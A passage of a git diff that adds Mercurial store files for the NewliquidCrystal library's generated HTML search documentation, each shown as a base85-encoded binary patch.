z%PhR#V}Fxc{1>GUJ7HF4Q})8%e6Jf0dDHBU=_m%%q0e{ eG>$7?p_|62v>jr literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__70.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__70.html.i new file mode 100644 index 0000000000000000000000000000000000000000..22429f9a1b2fab4dc900100ba2ba0fd0c3b6bc46 GIT binary patch literal 1048 zcmV+z1n2tz0RRC20000000M^q00tre00000000>O|NsC0|Ns9arX`WL+gfFpw;`*| z1`GEED#LXE00000000000001ZoUK$*Z`v>re&<)X-V2o$n~>0^Ym$djrXjVoDpcE^ zkmDGVHrSbMp!xT+la#`=PDR>NF6ZyN^L^*L@Z|b#IQw}&0-0VF;QsOIW;_JY!T7s3 z#Q1u44Ssx^-QEBf^}tLLu5z6VP6~`i69{0Yb@>J3?RJZ{9ujhiXAk(r#&RvWH66Xj zM5#_;+zIVT9A=E9aj0`$usFocw-c_ICcwsa*spcIiQrIh&A4`ERmmWr&0hpHd(lmf zOPUd>n2sK2U!4GA6Qs!bGmxx^pwd;rRK}QwK${3Hktzj2CfULu7?CtX)?=xP%DmM3 z*e9|fjTZtX>5lQFpt*N*Vu-k|rxPY3tpF{EQW2a!+><45F7NLoCl`Xg@$e1d71N-NNqN7h#PS&E9(X!slj8-Ry_y= ze`ZxGwmgE8>9ypbsjP{s(1dKdY-7~^+&gX2rDQhdN8#)8L)bSJs#PM2*Ulh>>yvrj zpVN6h7s$5z6B&5Ph2KB-S#p*nXTjjir;9<~_q@KBCP8p+I!)x#JP0^1i8M)IY_z#G z+Ju!>%DcxX?;fYTdxY}t@yho+-wlky zrUP`~Q{M~x#b9vZk>I?yNId^<${TV1qxAc8GOY`%CuL{8H!J(RiMS=2X3Wg*M1a$ zHWEaDvn`nJ`?~M|0#7eHhs|%$UE_D0gWc5%Zg*F`%It#f{08H-4ATGr0007q00000 z0TBQI2e|+M000000F?j$00960|Nn{Rsb;qe$scASbup{MyT_96Le~HQ0000000000 z004NLjgZeu!$1&+BY5glEbB!X_ zz4b5*GxIV0_#Ef*%Q@D?XI$0;DH<>)q5Itq&7rZB)a5+osyDT*2c+qO{0Fz4)#JP- zF&yd4V#_G$yLTMR{-aB%Mtjg5F$lV-ejXe55r%6Vu(P-9=0q!v^UrhfgF1`-O}Zaj z(KnP-8f8LV*UOu{$jdye+{(7i6(FMAuuw?8VQaPy0RoJoRkVa<;4@KxzbZNRg%DEs zoPjLDV8u5win!ohihvRe`VDPDa|L<|K-1@^efE;QZetIQj*NotPo$z(lhcR0d$)?c S`8NCYCc)|A)V=|OsD{0}X#)ZP literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__72.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__72.html.i new file mode 100644 index 0000000000000000000000000000000000000000..0fe622361337942b3768556b27dcc24702426597 GIT binary patch literal 1332 zcmV-41O|NsC0|Ns9ZquZI3vxuF0=cv?` zeuX=2t@h9W00000000000001ZoVAu+Z`v>vhVS_mu6NT)%coNaYv5wE(~wwK6{c=i zk+BaXYe<-Fp!xT+leB}Wtw^U`VUEv-&-2pYlTo(XQ2 zmfDN7x#D=(iOkM0N`UfVq*9f^Fmme8PP76=k;!eruT8og;8Bq)$dxrK*MJeLzYVa0 z2UXX&USgJAunE)t^l+MruGAS`i1T3@%P{9)0SWKv7 zB3-L}-=B0#Yb!=lu&0Qh66x~)2?w6E#*6t)`md-tsIUJEcek9FUykMjM4pj^$1>`@lm zcB-8?^%SvcoG;P+iv^t8-WEcI=`@tO)<1P=|E z$e|Sjxu*GENml4fH5~h+@mDRS-ZT6f*2f@Em-?y}87$P1{fi7UaDn$Y&Zn zZ?H4h3qs;*lFaYU7d-3|Hv}5?NU+f8!{@LYIJ07+;k-(JGP-;ddwC>szYTJ~9df?~ za{pE2ahB@eJ03GpN=36ct}lL=Gy*KbzDsxrKuOpQ`+>{4t~Q3fphxE3x&Mp+x6{|T zR|Q8+J^cpkgk&8J89?;;vQ7jIzz00000000000001ZoVAnBPQpMChnr|L@fkcc zH4#WmX_-=r0vAps#zSkuakK0WP%UlUT_C)NkKkkZFcyOGzhNt0cV~Xt`F1|TID9sY zqf^5;cr?upHDlhj1`1~l%goYyT=8s~b}fNwE>cq>6>J)!oF_`!H*`_O1*YnvQQKDM z0;Sx&e4g)A%M!XyjlyU(8)b=QP6dv;)*W3?$wZv1%a7f+*<_MnwGxFy$V$!Xg;A$Y zdnd(!JYKxT^`~*d1*X>e>f`i;IXeN^M7%!r!r76-4_&|E_}cPDg=IOuLb2^SN#cij z%n1`Ksc1q7iHmti!1COls#$VI$3fcx9w1T({GjbQ%y){zpyjn-jHn#m{%M0jtdo|Se6Uz7rrTheaKVc7k?vdm7e!c*qd~mF)UWSSQ literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__73.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__73.html.i new file mode 100644 index 0000000000000000000000000000000000000000..5ac346f975fb31bf078ffd7a74895d9fb03694e8 GIT binary patch literal 7085 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__74.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/all__74.html.i new file mode 100644 index 0000000000000000000000000000000000000000..5954f842500d27670cb3db5a4a4fdf122f86a304 GIT binary patch literal 1066 zcmV+_1l9Wh0RRC20000000LhC00hDS00000000>O|NsC0|Ns9^MYn4#7u)Qav$vTK zHJ4r5o6A=K00000000000001ZoQ+gXQ`;~Qz2{d5^%7=kDU{C^+Xq5A%}fYPVutqQ zQ6wccIFc)EV*Kwb*#?qM>2UIT{oa1PU55wPx5MPu-3Vo{F3{cm)nq(GIH2_5cu47W za*cleNNy(Rhzw9-n6f$KTCsxC(G(+`0hHe;t*VMt$3&YIO=k4j$2#)l&J19ONdyQS z_d@?A4l~I_96}C-j6>Q!d*NCFLq2vOe{b?_goj#zR1hR}DKX;hTZBPAL!0B0XUtd$ z(S7ngxWLo}DRT9Mj4UE-p)RD&qy&t>Md*m!T8uIymkuGB;TiEBPqp0SCG27!*_O3l zjI80Wj7N)I-R&1gq)k7)aG^zwc)_fV@O*a1R?@dD@-51R_l%X0&o8c5+#DEeTumM` z(M;rOh2zd3goM1B|qKlC{v4 zim;KeF$%TKwV^GUvTa{(-M~K&4m)&dq>uSg_@?|2_H7XLdZCLKaR{Mlk-J3@DL1tR zR-|caQCLNpEc&mDbx4}CAR@PA!RiPr ztt7sDpZHeMd(33RWgYb+v>ptzWAc3s9}7kOV4tzO66y2fDt5 zHB{=_yxOH30YlA0<85W} zdjX{`gyA@}sO6eA;}|I_7NBBG8Y=qwI8o#a=cz6ugKivTL#toM^11<>+~3^ld1MT0 zgQ3wQCZk=~|H6l+ou2jm`JSV7jH7j&qjiL%^^arm(iSP$D00000000>O|NsC0|Ns9nZnsRTv`Za5<|Q$W z3qC795jL0r00000000000001ZoRw8gbJ{Qvz4I$n^$?h;Klx4!hX9>2Lr5l&X?yZ0 z(t@2B+m!{x|GtuK0!~BfoDi$`R@(R0TIb97cC`F`H$k4*1nBPJdNv&)tQp47=EyL{ z%Q5=(V|g<}mTsaYCt>0XKMF};7?U|h*b^eYG>rXzukV|B#Mj31-gr^DEJZGsnmA$V zOfWpGIcjIR%Kgo36zG_P%2^e@jVob~GNhZwC^%T7>xLWn zvJIF^d720kxIG%jx^n$1=>VZE3tErR?y+vS*&)=VR-b`wx2egfG@S6Y>z4BEt2WIUR&|-I|H~9el~|#X&3b)GZRpsmu1!{t?UmIg-4*LucHcCi z`Hn`j(fF-G#rOE(=Xv_RF0vZ37xr~|?u|X=&7&J4s0Z@hpGT-zA6OsGjiK{J(`qcD z+l?$jmlaI{P|NFd%IdEVenZd3mCpPm4oEt{VH5(sI!`>_=p1!Nc-b>FKq2hW;xtyr zB?xX@)yh8S=(>z+T50ALf~%RAjX*WnYkvWwIMAK|000037ytkO00Bt=01D9n00000 z000~S00030|NsA-EXY+h|P0vkfKUuYGv+YKBF<;CVa6<^9(F_hAntVyWfBmJ7 zbN22y=e_d0Av9q~iU8kQSb7+x$qTGSx=I49!R9(a2AJk?2qst7xc97RLjj4s^g7$@ zOoK7?)AOuWE?2DT8imn%IZqWvv4*DrKeK`vu4QJ&ht&`1VxgejibA?#(&h$utAnRi z{8+}5E}J&W#|l~OThC&tgoXrHSBDam*TdMf*sWdL?yXnvOLg?O654#;)8RLR#| z3d;4`Sf=QRXPFz@rD`%C81ED4&tWhU!{L?BxW~!0fL?FFJ;5=uOfSF&m}ab$v3tRG zE)z?9YEd2m?~E^+#P@FQHlt>rliYI97W%s;IYE=0q)Cp~B*$n{YN-A{QyPU|SSQ`` z15X000000000l00001|NsC0h?+^GCjz?(A!b zocriyVvJ`o^!?W3fN<$zs#xKq_=z#I+hvtlj{E?Wd0-MqG af)vpID^eF2nz!c{Wvk-0HKSjT2W73eU&&$s literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/classes__69.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/classes__69.html.i new file mode 100644 index 0000000000000000000000000000000000000000..207725afe5212d21a916cbbdb7df75cab26e3e26 GIT binary patch literal 599 zcmV-d0;v4}0RRC20000000I{P00dkB00000000>O|NsC0|NsBS{rS(P?Z-zczpjb5 zi#W{NAx?t;00000000000001ZoQ+dWbJ{Qvz4I#+onWSxNOI{E+lK(1GD8Rh&a^!- zioL~3jO0qohyQ&g+YsoKPEKC0-h0}8y9#ecPs8Nrd`xoO6lDJVFr5qu4LJXPKjeIr zjL45~$>WsVvOY2S%w*n zJE1>`!yH5whbXatIONT@6K((n@!A3W-pXA>hgu;h43eq@O48;pq6i0U?ii%GFcvU+ zPQC`8DR&};RByyU5mAd(0X7FfO3*2^#MD|!as$5{0)$C(<};pZQzJ_}$G(c4XtI=8 zlb#r_mb$u|6G!BAKb`PJXB9~cVQoa0i@8{XZ#k1YA~TIT$4s@z zq*~Ls4H#n~cj&)43$WV)X{)=Ecd67)m|UX93QgtHBosAtg0SgRqSYHzncl028o;el zr0J_swQMGKUD!FVKlOVpx-{T5KMLQLAHu$SP;FjxahwZdygqS#t4tjnoAK84p@KIhH!qrfx=H~E<+ZG2??cXQ(K zCI~v2PPZFZG;0dEJPJir4`V@b>e$P*Qh&TF6}1~QLrb= l^IVr+Kxl8!xg1%8?z(&sTx@-7xZnEv5%{Ow`2(Hjc$Id=8NmPm literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/classes__6c.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/classes__6c.html.i new file mode 100644 index 0000000000000000000000000000000000000000..1c4ecf8e177806ff576c25c7022e31d28913366d GIT binary patch literal 1570 zcmXX^dpOg39RAHExz$cHBy~(FayR$6E~g|23e<-$HAIRk7*R z7b6zqr}Hv)eIrR8)3fCf5;nK^9_IXro*bUN3Z+$*RS$s;LzN^IWRZ4ZKH}6Gj00_f zRNc`Pu|&jKBb+plXIwsL?s&t#_C00?N0L@DUbr%|E<*|0-@M+|vtS|8*S7LYy%nqE z)7}>BsXJg;(?M5xqSUGHZR25mhL-+P2NfS(3hRl2S0>*Eps!| ze*$&z$Xm%Av4ijgHxWPFa)PXhSnbF@{)?W=u(XSzwTAwF^2#E)*vuYXoB3;E*x@zl$<1GSv`eT=!wXW4`ZIJ^ae zJ<;pKU#UD*6s7^onzPL?NHn;woUXfPJTkiL)qYm&VHGhFyM<-=F)4T#)^ah=?b%7r27ktQC>Xc zQa5_q4wt#iE}fxX|E63s@O)%s+RF zyXhU7K$i|rOKf?BBxvVdQ+k38c-wdCzzX0^?(y`$*dj6?-@zg=pvV2_KBvK7I5R;C z+jVEdHB^1ksIMmD|B9aU1LVDd@4u^O?F;YegF4*pO9tf~h+~JSsr(v8$i6f$-$i&^ zBwv1$g~|8A;(=VOB8 zvDuuO7)GOcyIoABQA)0cbYIlv{-DK!`O_3b5@r}d*FF{j&F|c%zNh`HD&87m-EE#e zYK<#x{V6+o?ZVE@RAL&!Y=Rj`2@4YZ@&qTcS;$$E%WKL}%K^n*&n1W^EBxEdZ8wDO ztp}T%Czwm39@yqhD%p~b>*G?AZzN(Oo7=H^`uipVER3K*3THG-wZU_Ny~|hfuEpd|c;4%=@QJs~ t6hug}@e=653-Q`UP&^wB-%x^Yn8P=u;2YLG^I18=dELK({wIUq{sX5C+hPC! literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/close.png.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/close.png.i new file mode 100644 index 0000000000000000000000000000000000000000..d8303502473cbc254b941f9ff528b2b53887ab7b GIT binary patch literal 338 zcmZQzWME_f14bbR21Y>$n?d3~6ga9EBsWVdIaM22z4hH${^0cgt2IzHV5+n;z|WnR zONtA~Pr+&F} zI-9Y^g?r`I%3Alurq929TFvrcbM5`Jn{;k$<9%MK)TMN!u*c^7#APcdJnPGxb;hD^ z$2#x(`^_gH_T{)$6RVHYbt+w5l1zqQRZG_+)Hs*ci*_tLL-9ZK)_ z5vaYtcwP4M%SK@no(H=b@-!DuU12zR&hf`rxV9~Di8^*nqWrAmUKP(Nzl9O|NsC0|NsAC4#mIK+f+lI;-aG@YEZUcI-g-M4H1uO%e7e{c$#> z^eVnWKflE{*JwxvC{|49+~iWQg3{R>Bb*siexY=?+mYQFk!nrj1$}n0hK}5so;hF= zZa5BmzPkzi3>Xi6lbZrUpSEYu-+*Dr#rEL$Hm?FamBN59UR;-eQQCe5*ub-Cb6lhu zQyNTgAAj{GnA#vkE}oErBEZ_z1?UXGU}S8Bj+knVQKn#J5x`WM5$ADKovOSvhuB9} zvDS-`R_UJcsIh%_dt-^Tsi)^ZNM56~U|I)wxwvC%a3%A+LOFMyNN{+5aqV$S!_3yc z$ziS~ D-9tv7 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__61.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__61.html.i new file mode 100644 index 0000000000000000000000000000000000000000..963a1f732ea2b8304e1fe21c2d6c0728d3af3f32 GIT binary patch literal 991 zcmZQzWME_f1E%>53~U|{Hbe7&DEL&+U(+jEfZ})qSfBEEn|6dn2ByIJ%`1tbMj2rGZ7JYGF?*DRbeS2NqXL+|1YPwIvbtZRu zxf~1fVo&ZVSQGMZ>ZP-3&StVoU94Z1f4O>O6Yowl-L1z}CU$MOUT~)C`H=%k=L0*v z4i;y8&9(3j;F)`$C(w)l6~WeUO5;-57LuKyRa=0Rwv<+{oy_E|lt)x2TB7p} z>nV>MBXRKsVXkefm{xz7)N^weXZGDM`fE2!%@t2bsuS6F%D$yG-)$$4>n}9{MUxrE zE1OgV4yO9_JewbR<=vNE3+r;Mdk$%fF)`%3Ccb~vb#`&zI`5513;kL7io#xq+}Qn5 zo&RuMf%U8}`>m(sS}PV$d#n1)N#5vvT)MQM$C|5GPcNHT`rALyak~fS=OivWjkek@ ziEo)nH`F^4=WDq=Uv&2E=?ix0YgfmuX1;57W6#~a5AMcozuWY)&~RDvOnbxi()Azy zo7~**yE%8_?cZCB`|qx(y%%9)a5VYC_8Ogl-2EH>S*qGRpPXu{bTHgIR_kIZe~`hm zT+5zWyI5*!3{&P%isC$;Z9+JDH^gL1`3}uz}zJQu3Y(5&)%ew_}(8i+`=E^Il-e zdB;Ox{%OtPpCCCHsF>4x_B2a`7=??N66Revp)3@l%yK(I4Y5|{xD?=Sko4PI;zp^sE zW#?#ogpJ$y+2Z}{M6&MAy&kGAo%&&Q+_~vy`=?4SUU|sH;P$)|EL$e>M|#OZ54UX(Nd%kswg literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__62.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__62.html.i new file mode 100644 index 0000000000000000000000000000000000000000..baa2d5b3ba1586319f0ff11535f69ee3f1789e36 GIT binary patch literal 719 zcmV;=0xO$u4NHHoxByP{EAl}y{7 zBFA<}+Tdiif#&aLla#`wRz=zqm+NzmeecP={?X`m82!Gx1esnG;O@u8WIP1W!T4u? zi18>IfnV3r%>=lp2O>#?%5`1}Qeb>Jg#cz+S6?t*uh(eZN2Q$O=pH{=E!UFU(9t_g z#599p$G0b;pK-!MU+22up^uy2j=$iV0ITirKg)a-z+ovg7ut#HibFt~e*x6|NjG<# z(~L;Pb?_s)a?T(&B1JA9f#gL1m97h}GR`#w+9s-j-QmQ2DBhb1#otMN9Np?%<>h;nazv^<4@12EpDcX zUYa*q%%mhN7jqc40Yb>f2K_JRo~vb{VXGS_ggzGeJkzn4mT79P0Q>k$p=E8;z$Y8h zSo1{>f>J#4nw4u2K*{w|3eZ&8=qofOt1e%eu7B(ux9Cc8tNC8|vU(Txr5p7kDT`-^ z5W;a0)0o9)8M2OlAidP<5#CP*2}=eijCq8e4w4i4sW%{}p6eO2iJY5n0>%}QMjwV3 zUx(i(<8Rkde0z1}W3uUks)*RRmX_ul3n#-7%8aw-%=WNt{hi_Q4%rm0+>9CS67p6dDs=X|@4KM03>u$&R7;TmiV!5gcQU_3!g2VII zi7zjDjk+Ro-$xJt!Pj86o9n_o2s}RT?0es!yC&~Adz-9nxZPx%#b(!a=P!ut5%!F! BUDN;o literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__63.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/search/defines__63.html.i new file mode 100644 index 0000000000000000000000000000000000000000..9f7a533d0967de3fe77c2bdbe6353437f2f04f26 GIT binary patch literal 653 zcmV;80&@KT0RRC20000000K<_00g1{00000000>O|NsC0|NsAG{~Bs@Njt$BC-~ji zSitsJhG_Qy00000000000001ZoQ+h`ZrU&uedjAY?}bW>4W$xnO(LzpG$f!^Nww_> zx%Mqdo7kCcp!xgRNlIZ_r#|K8`kZUubFLkJm|TyOUpG^f+9F3ccUSY-7~z1@AA>Qa zlVpN^eoq#2)F(ZZXeLc&GbLG0>2!$^POUA!P`cmm$$mhT-q7ThKKojIPj17&9x;iq z0>_=uuf$;rOvIthYz}cqn{Ov9z%t}(2k?8F?IJu@(t@->Qk8%aZ~h`|;n_BOT=JA@ z12(!#z6B#pU6DMKPe?-^VPmTtObTEzvaUi)YItx6V4A1IXFSz#ot5?&`^a{z z$zo(QKQJB*cIR$Z9Ff-jbi#WjD#UYUOoUgrH*5pGWs&VrCVXZl1w6l`4!D(NcI(dM zF>}R4CO0^4142kh9r|z1EtqX?aa(uIRZ%eM1xBa1skFNCX%w;=JhM>rFjDdfDxvl= 